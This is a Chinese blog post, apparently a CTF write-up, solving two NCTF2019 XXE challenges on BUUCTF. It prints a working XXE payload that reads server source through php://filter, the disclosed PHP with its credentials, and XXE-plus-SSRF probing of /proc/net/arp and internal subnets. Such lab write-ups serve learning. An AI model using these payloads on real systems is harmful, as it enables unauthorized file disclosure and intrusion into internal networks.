【XXE实战】——浅看两道CTF题
【XXE实战】——浅看两道CTF题
- 上一条帖子【XXE漏洞】原理及实践演示对XXE的一些原理进行了浅析,于是写了两道CTF题巩固一下,顺便也记录一下第一次写出来CTF。两道题都是在BUU上找的:[NCTF2019]Fake XML cookbook和[NCTF2019]True XML cookbook
一、[NCTF2019]Fake XML cookbook
- 打开是个登录界面:

F12看一下源码,可以发现存在一段js代码:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
} var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
可以看到存在一个doLogin.php文件。那么可以使用PHP://伪协议进行读取看看。
抓包修改参数,输入我们的payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ENTITY rabbit SYSTEM "PHP://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&rabbit;</username><password>1213</password></user>

把得到的编码进行解码可以得到下面的php代码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/ $USERNAME = 'admin'; //è´¦å·
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //å¯ç
$result = null; libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom); $username = $creds->username;
$password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
} header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
代码只是进行了一个简单验证,那么输入账号admin和密码024b87931a03f738fff6693ce0a78c88看看:

没啥用...
直接试试有没有flag目录(看有的题解说是题目有提示,所以不知道是不是buu的问题,我是没看到):

over
二、[NCTF2019]True XML cookbook
打开界面可以看到和上面题一模一样,然后同样读doLogin.php也没啥用,直接访问flag目录也没有线索。
看题解后发现,可以使用XXE+SSRF的方法,即使用伪协议进行内网的嗅探。那么第一步就是看内网的结构:
payload查看靶机路由表:
file:///proc/net/arp

可以看到有两个路由169.254.1.1和10.128.253.12。
使用bp的intrude模块对这两个路径C段进行爆破


爆破过程巨慢无比....不知道为啥,以后有空研究一下。但是看网上的wp说这两个C段扫描不出来东西。
查看proc/net/fib_trie下的路由树
file:///proc/net/fib_trie

下面对10.244.80.215的C段进行爆破,同样非常慢,不想等了最后没解出来。
三、收获
- 熟悉了使用file伪协议查看文件,php伪协议读取文件
- 学习了xxe+ssrf的利用方式,对于linux主机可以读取proc/net/arp路径查看其路由表从而得到其内网结构。在主机没有flag的情况下,可能藏在其他内网主机中。
- bp的intrude模块不知道怎么调才能实现超时放弃请求....
【XXE实战】——浅看两道CTF题的更多相关文章
- 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester
这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...
- 两道CTF Web的题目
1.easyphp 1.1.题目描述 题目首先是一张不存在的图片 查看源码发现只有一句话 <img src="show.php?img=aGludC5qcGc=" width ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- Java基础知识强化11:多态的两道基础题
1.第1题 class Base { public void method() { System.out.print("Base method"); } } class Child ...
- 逛园子,看到个练习题,小试了一把(淘宝ued的两道小题)
闲来无事,逛园子,充充电.发现了一个挺有意思的博文,自己玩了一把. 第一题:使用 HTML+CSS 实现如图布局,border-widht 1px,一个格子大小是 60*60,hover时候边框变为橘 ...
- Co-prime Array&&Seating On Bus(两道水题)
Co-prime Array Time Limit:1000MS Memory Limit:262144KB 64bit IO Format:%I64d & %I64u Su ...
- MT【327】两道不等式题
当$x,y\ge0,x+y=2$时求下面式子的最小值:1)$x+\sqrt{x^2-2x+y^2+1}$2)$\dfrac{1}{5}x+\sqrt{x^2-2x+y^2+1}$ 解:1)$P(x,y ...
- MT【235】两道函数题
已知$g(x)=x^2-ax+4a$,记$h(x)=|\dfrac{x}{g(x)}|$,若$h(x)$在$(0,1]$上单调递增,求$a$的取值范围. 解答: 已知$$g(x)=\begin{cas ...
- [转载]2014年10月26完美世界校招两道java题
public class VolitileTest { volatile static int count=0; public static void main(String args[]){ for ...
- DASCTF七月赛两道Web题复现
Ezfileinclude(目录穿越) 拿到http://183.129.189.60:10012/image.php?t=1596121010&f=Z3F5LmpwZw== t是时间,可以利 ...
随机推荐
- golang 实现四层负载均衡
大家好,我是蓝胖子,做开发的同学应该经常听到过负载均衡的概念,今天我们就来实现一个乞丐版的四层负载均衡,并用它对mysql进行负载均衡测试,通过本篇你可以了解到零拷贝的应用,四层负载均衡的本质以及实践 ...
- 【Vue】父子组件传值、方法引用
父子组件值.方法引用 1.值 1.1 父组件获取子组件值 父组件 <template> <div> <button @click="getChildValue& ...
- WinUI(WASDK)使用MediaPipe检查人体姿态关键点
前言 之前有用这个MediaPipe.NET .NET包装库搞了手势识别,丰富了稚晖君的ElectronBot机器人的第三方上位机软件的功能,MediaPipe作为谷歌开源的机器视觉库,功能很丰富了, ...
- Federated Learning004
联邦学习--笔记004 2023.03.13周一 快中期答辩了(3.20),最近甲流高发期 毕设期间,今天学习了联邦学习的一篇论文---Differentially Private Federated ...
- @Import :Spring Bean模块装配的艺术
本文分享自华为云社区<Spring高手之路8--Spring Bean模块装配的艺术:@Import详解>,作者: 砖业洋__. 本文将带你深入探索Spring框架的装配机制,以及它如何使 ...
- 2023ccpc大学生程序设计竞赛-wmh
这算是我第一次参加这种团队赛,感谢程老师给我这个机会.刚开赛还算比较顺利,一眼看出来A是个签到,拿下之后开始跟榜F题.一开始想法比较简单,就是排序,记录相邻两个数的差,然后再排序.wa了后以为是范围出 ...
- 河南省CCPC大学生程序设计竞赛赛后总结yy
这次的ccpc总体来说,取得的成绩并不理想,首先是题目解决的数量较少,其次是罚时太多了.开始也是找到了签到题,按理说应该不难拿下,虽然大家解决这道签到题都不是很快,但是我们小队在比赛已经过去两个小时左 ...
- OceanBase 分布式存储管理
分布式存储管理 分区表管理 定义 把普通的表的数据按照一定的规则划分到不同的区块内,同一区块的数据物理上存储在一起. 每个分区还能按照一定的规则再拆分成多个分区,这种分区表叫做二级分区表. 分区分类 ...
- 树形DP + 换根DP
树形DP--基础 P1352 没有上司的舞会 设 \(f[i][0/1]\) 表示第 \(i\) 个人不去或者去. 如果第 \(i\) 个人没去,那么下属可去可不去,所以 \(f[i][0] = \s ...
- 【游戏开发笔记】编程篇_C#面向对象{上}
@ 目录 1.变量和表达式 1.1注释 1.2C#控制台程序基本结构 1.3变量(从存储长度来看) 1.4变量的命名 1.5字面值 1.6运算符 2流程控制 2.1分支 2.2循环 3变量知识拓展 3 ...